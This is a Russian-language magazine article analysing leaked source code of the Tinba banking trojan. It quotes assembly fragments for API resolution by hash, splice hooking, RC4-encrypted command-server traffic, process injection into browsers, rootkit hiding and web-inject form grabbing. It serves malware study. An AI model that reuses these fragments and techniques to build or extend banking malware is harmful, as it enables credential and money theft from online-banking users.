Этот троян запросто мог бы затеряться среди тысяч своих собратьев по ремеслу, если бы не одно «но». Согласись, в нынешнем мире гигабайт, гигагерц и сотен тысяч строк кода не каждый день можно встретить полноценную банковскую малварь размером чуть меньше двадцати килобайт, да и к тому же полностью написанную на асме.

 

Как все начиналось

Все началось два года назад, когда антивирусные компании стали наперебой рапортовать о поимке очередного зловреда, который обладал полноценным функционалом по отъему наличности у пользователей различных систем интернет-банкинга и при этом умещался в 19 968 байт кода.

Описание Trojan.Tinba от Symantec

Trojan.Tinba на VirusTotal

Пару месяцев назад интерес к этому троянцу вернулся из-за утечки исходных кодов этого зловреда на просторы интернета. При этом некоторые из антивирусных экспертов начали предрекать появление многочисленных клонов трояна, как это было после утечки в паблик исходников Zeus или Carber.

Сообщение на одном из форумов об исходниках Trojan.Tinba

Мы решили не оставаться в стороне и провести небольшой анализ исходников Trojan.Tinba, чтобы узнать, есть ли в них что-нибудь интересное для мечтающего об оптимизации своего кода хакера.

Содержимое архива с исходниками троя

 

Поиск нужных API-функций

Весь основной функционал Trojan.Tinba реализован во внедряемом в другие процессы коде, и поэтому первое, что должен сделать трой, — это найти адреса всех нужных для своей работы API-функций. В данном случае используется поиск адреса API-функции по ее имени в таблице экспорта нужной библиотеки (трой использует API из kernel32.dll, ntdll.dll, ws2_32.dll, wininet.dll и nspr4.dll), при этом, чтобы не хранить имена самих функций в теле, от имени каждой функции берется хеш и уже по этому хешу ищутся нужные функции. Это, во-первых, позволяет не светить имена функций в коде троя, а во-вторых, существенно уменьшает объем кода, поскольку таблица хешей занимает меньше места, чем таблица имен API-функций.

Таблица хешей от имен API-функций, используемых троем для своей деятельности

Поиск функций начинается с библиотеки kernel32.dll (оно и понятно, редко какой процесс обходится без ее загрузки). Для начала трою необходимо найти так называемый адрес базы kernel32.dll (начальный адрес того места, куда эта библиотека загружена). Из всех известных способов нахождения адреса базы kernel32.dll авторы этой малвари выбрали один из самых эффективных с точки зрения быстродействия и размера кода — получение этого адреса из структуры PEB LDR DATA, которая находится в Process Environment Block (PEB):

    ;получение указателя на PEB
    mov  esi, [fs:30h]
    mov  esi, [esi+0Ch]
    ;получение указателя на PEB _ LDR _ DATA
    mov  esi, [esi+1Ch]
    ;поиск адреса kernel32.dll по наличию
    ;символов «32» в имени загруженного модуля
@@:    mov  ecx, [esi+8h]
    mov  edi, [esi+20h]
    mov  esi, [esi]
    ;0320033 — это символы «32» в юникоде
    cmp  dword ptr [edi+0Ch], 0320033h
    jne  @B

После того как адрес нахождения kernel32.dll найден, в таблице экспорта этого модуля ищутся нужные функции и их адреса записываются в ту же самую таблицу хешей, в специально отведенные для этого места.

Адрес загрузки оставшихся библиотек определяется уже с помощью API GetModuleHandle, поскольку адрес этой функции был найден ранее:

;адрес базы ntdll.dll
invokx  _GetModuleHandleA[ebx], "ntdll"
...
...
;адрес базы ws_2_32.dll
invokx  _GetModuleHandleA[ebx], "ws2_32"
...

Далее так же, как и в первом случае, в таблицах экспорта этих модулей ищутся адреса нужных функций. Из kernel32.dll трой использует 28 API-функций, из ntdll.dll — три функции, а из ws_2_32.dll — восемь.

Для вычисления хеша применена «авторская методика» размером всего 25 байт (в отличие от громоздких и ресурсоемких CRC-32 и прочих стандартных алгоритмов):

    ;адрес начала таблицы экспорта
    mov  edi, lpDllBaseAddr    
    ...
    ...
    ;подсчет хеша
    xor  edx, edx
@@:    mov  eax, 7
    mul  edx
    mov  edx, eax
    movzx eax, byte ptr [edi]
    add  edx, eax
    inc  edi
    ;проверка конца строки с именем API
    cmp  byte ptr [edi], 0
    jnz  @B
    ...    
 

Реализация перехвата API-функций

Редко какая малварь обходится без перехвата API’шек, и Trojan.Tinba не исключение. Во-первых, для того чтобы осуществлять инжект кода в HTTP-трафик для подмены содержимого веб-страниц или перехват нужных данных в этом трафике (например, введенных пользователем паролей или номеров кредиток), необходимо изменить ход выполнения функций, ответственных за передачу и прием данных из Сети для различных браузеров (трой «поддерживает» Internet Explorer, Mozilla Firefox и Chrome). Во-вторых, для скрытия своего присутствия ему необходимо также слегка корректировать ход выполнения некоторых функций.

В данном случае перехват осуществляется в юзермодном режиме довольно распространенным способом — путем перезаписи первых пяти байт перехватываемой функции командой JMP (опкод — 0E9h) с адресом, по которому лежит код перехватчика функции, или, по-другому, путем сплайсинга. При этом авторы троя не стали надеяться на программистов из Microsoft, которые обещают ставить в начало каждой API-функции пятибайтовый пролог (0x88, 0xff, 0x55, 0x88, 0xec), а реализовали корректную перезапись начала перехватываемой функции с использованием дизассемблера длин инструкций, в качестве которого используется чуток допиленный Catchy32 (по большому счету допиленный образец отличается тем, что таблица опкодов и сам движок были слиты в один файл, в то время как в оригинале это два разных файла).

Стандартный пролог в начале API-функции (к сожалению, несмотря на все усилия Microsoft, он присутствует не во всех API-функциях)

Catchy32 отличается простотой в использовании и совсем небольшим объемом кода (всего 580 байт). Достаточно в регистр ESI положить указатель на нужную инструкцию и в регистре EAX получим искомую длину этой инструкции. Вот как это реализовано в нашем герое:

        ...
        ;вызываем Catchy32    
@@:     mov  eax, ebx
        add  eax, c_Catchy
        call eax
        ...
        ...
        ;сохраняем код текущей инструкции
        add  esi, eax
        ;сохраняем длину текущей инструкции
        add  ecx, eax
        ;если длина инструкции больше или
        ;равна 5, идем дальше 
        cmp  ecx, 5
        jb   @B
        ...

Перед перехватом функции изменяются атрибуты первых 32 байт кода этой функции на PAGE _ READWRITE с помощью API-функции VirtualProtect, далее выделяется область памяти для хранения нужного количества начальных байт перехватываемой функции, эти байты туда сохраняются. После них пишется переход на продолжение оригинальной функции, а первые пять байт заменяются на команду JMP с адресом.

Кусок кода с реализацией сплайсинга API-функций

 

Обмен с командным сервером

Для связи со своим командным сервером Trojan.Tinba использует Winsock API, при этом весь трафик подвергается шифрованию с помощью алгоритма потокового шифрования RC4.

Суть этого алгоритма заключается в объединении последовательности передаваемых данных с ключевой последовательностью путем суммирования по модулю 2 (операция XOR). Расшифровка производится с помощью той же операции XOR, применяемой к зашифрованной и ключевой последовательностям. Реализовано это вот таким образом (вся функция шифрования уместилась всего в 46 байт):

    ;ключевая последовательность
    mov  edi, lpKeyTable
    ;данные, подлежащие шифрованию
    mov  esi, lpData
    ...
    ...
@@: inc  bl
    ...
    ...
    mov  cl, [edi + ecx]
    ;XOR’им поток данных с ключевой последовательностью
    xor  [esi], cl
    inc  esi
    dec  nData
    jnz  @B

Перед началом работы производится инициализация ключевой последовательности на основе строковой константы, жестко заданной в теле троянца. Таким же образом прописаны и другие параметры для инициализации (адрес командного сервера, который может быть записан либо в виде IP, либо в виде строки с URL, наименование ресурса, идентификационные данные).

Конечно, открыто держать в коде все это богатство не самое лучшее решение, но, видимо, авторы трояна решили минимизировать размер и не городить какой-нибудь алгоритм динамической генерации адреса командного сервера или шифрования этих строк (хотя простой XOR много места бы не занял и хотя бы минимально скрыл палевные участки от невооруженного взгляда).

Данные для инициализации соединения с командным сервером

Непосредственно сам обмен данными реализован стандартными API-функциями из ws2_32.dll:

    ;если адрес задан в виде IP         
    invokx  _inet_addr[ebx], &szHostName[ebx]
    jmpns eax, @F
    ;если адрес задан в виде строки с URL
    invokx  _gethostbyname[ebx], &szHostName[ebx]
    ...
    ...
    ;инициализация сокета
@@: mov  clntSrvc.sin_addr, eax
    mov  clntSrvc.sin_port, 5000h
    mov  clntSrvc.sin_family, AF_INET
    invokx  _socket[ebx], AF_INET, SOCK_STREAM, 0
    ;соединение с сокетом        
    invokx  _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc
    ...
    ...
    ;передача данных
    invokx  _send[ebx], hSocket, lpContents, dwContentsLen, 0
    ...
    ...
    ;прием данных
    invokx  _recv[ebx], hSocket, &ReqBuff, 320, 0
    ...

Формирование POST-запроса

 

Внедрение кода

Основное свойство внедряемого кода — это базонезависимость, поэтому необходимым его атрибутом является вычисление так называемого дельта-смещения, которое используется для коррекции адресов переменных и вызовов функций.

Если внимательно просмотреть весь код, то можно увидеть, что в самом начале присутствует строка GetBaseDelta ebx, а все вызовы API делаются таким образом: invokx <имя API-функции> [ebx], <параметры вызова API>.

Так вот, GetBaseDelta и invokx — это макросы, заранее определенные в коде. Первый, как видно из названия, производит вычисление дельта-смещения и кладет результат в регистр ebx (кстати говоря, наличие такого кода в программе некоторыми аверами трактуется как один из признаков вредоносности):

GetBaseDelta macro reg
    local  @delta
    call @delta
@delta:
    pop  reg
    sub  reg, @delta
endm                

Второй макрос вызывает API-функцию с учетом содержимого регистра ebx (то есть с учетом того самого смещения).

Внедрение кода производится в процессы с именами firefox.exe, chrome.exe, iexplore.exe и реализовано проверенным и широко известным способом. Первым делом при содействии API RtlAdjustPrivilege троян наделяется привилегией SE DEBUG PRIVILEGE, потом с помощью CreateToolhelp32Snapshot, Process32First и Process32Next ищется процесс с нужным именем, и далее запускается последовательность OpenProcess, WriteProcessMemory и CreateRemoteThread.

Поиск нужных процессов

 

Руткит-функционал троя

Свое присутствие в системе трой маскирует, скрывая файл, запущенный процесс и ключ автозапуска в реестре. Скрытие файла производится путем перехвата API-функций FindFirstFile, FindNextFile и ZwQueryDirectoryFile. Работающий процесс троя маскируется за счет перехвата ZwQuerySystemInformation. Ключ автозапуска прячется перехватом RegEnumValue и ZwEnumerateValueKey.

Код подменной функции ZwQueryDirectoryFile

Поскольку ZwQuerySystemInformation позволяет получать много различной информации о системе, то предварительно проверяется параметр вызова этой функции SYSTEM INFORMATION CLASS. Если он имеет значение SystemProcessInformation, то происходит фильтрация возвращаемых значений, в противном случае управление передается сразу на оригинальную функцию.

 

Веб-инжект и форм-граббинг

Trojan.Tinba реализует такую же схему веб-инжектов, как и у многих его собратьев по ремеслу (Carber, Zeus, Gataka и иже с ними). Сами веб-инжекты задаются в конфигурационном файле INJECTS.TXT. Структура этого файла аналогична структуре конфига для Carber или Zeus. В этом файле с помощью определенных команд указывается адрес страницы, вид инжекта (при POST-запросе, при GET-запросе или извлечение данных и запись их в лог), фильтры, по которым производится поиск текста на странице для инжекта, и сами внедряемые данные.

Пример конфига для Trojan.Tinba

Для Internet Explorer веб-инжект реализуется посредством перехвата функций HttpQueryInfoA, HttpSendRequest, HttpSendRequestEx, HttpEndRequest, InternetCloseHandle, InternetQueryDataAvailable, InternetReadFile, InternetReadFileEx и InternetWriteFile из wininet.dll, а для Firefox перехватываются функции PR Read, PR Write и PR _ Close из nspr4.dll. Все эти функции (и для Internet Explorer, и для Firefox) вызываются через таблицу экспорта соответствующего модуля, поэтому поиск и перехват нужных API трудностей не вызывает. Имена этих функций также прописаны в таблице хешей, а перехват реализуется уже описанным ранее способом.

Перехваты API в Internet Explorer и Firefox

В случае с Chrome перехват осложняется тем, что перехватываемые функции не экспортируются из chrome.dll. Поэтому их поиск осуществляется по сигнатурам, а сам перехват делается так же, как и для других браузеров. Всего из chrome.dll перехватываются три функции.

Поиск API по сигнатурам и их перехваты Chrome

Также стоит отметить, что инжекты, реализованные описанным образом, позволяют перехватывать и изменять не только HTTP-трафик, но и HTTPS, что для настоящего банковского троя крайне необходимо.

 

Заключение

Несмотря на то что ничего нового с точки зрения реализации функционала Trojan.Tinba в мир вирусописательства не принес (широко распространенный и ставший уже классическим способ внедрения кода, сплайсинг API-функций в юзермоде, веб-инжекты в стиле других собратьев по ремеслу), все же стоит отдать должное неведомым авторам этой вредоносной программы. Облачить все это в минимум ассемблерного кода под силу далеко не каждому.


 

Комментарий эксперта

Вячеслав Закоржевский, Head of Vulnerability Research Group, Kaspersky Lab

В настоящее время малварь, написанная на ассемблере, очень большая редкость. Если еще лет 7–10 назад регулярно встречались такие сэмплы, например тот же небезызвестный Pinch, то сейчас большинство «коммерческого» вредоносного ПО пишется на C++. Оба факта легко объясняются: функционал троянов идет вперед огромными шагами, соответственно, нужен язык, позволяющий эффективно создавать и поддерживать такие программы с наименьшими усилиями. Ассемблер под это, очевидно, не подходит :). Если C++ использовался создателями Зевса и Карберпа, то вредоносы попроще — блокеры, шифровальщики и прочие — чаще пишутся на C#, VB. Эти языки доступны даже начинающим «программистам» и позволяют очень быстро создать троян без какого-то продвинутого функционала. Хотя надо сказать, что народ совсем обленился в последнее время и вообще уже не программирует. Мы встречаем множество «бэкдоров», построенных на доступном легальном ПО, таком как RAdmin. А устанавливается и распространяется оно с помощью самораспаковывающихся архивов, инсталляторов и батников. То есть скиллы, необходимые для создания такой малвари, необходимы минимальные. Но оно все равно работает и, возможно, окупается.



 

INFO

В исходниках есть несколько функций работы со строками (преобразование из одного вида в другой, поиск подстроки в строке, поиск по маске и так далее). Эти функции можно применить в какой-нибудь более полезной для общества программе :).



 

WWW

Исходники дизассемблера длин Catchy32 можно скачать здесь: vxheavens.com/dl/ple/catchy32.zip

Повесть о похождениях Trojan.Win32.Tinba в Турции от Trend Micro: www.csis.dk/downloads/Tinba_White_Paper.pdf



 

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии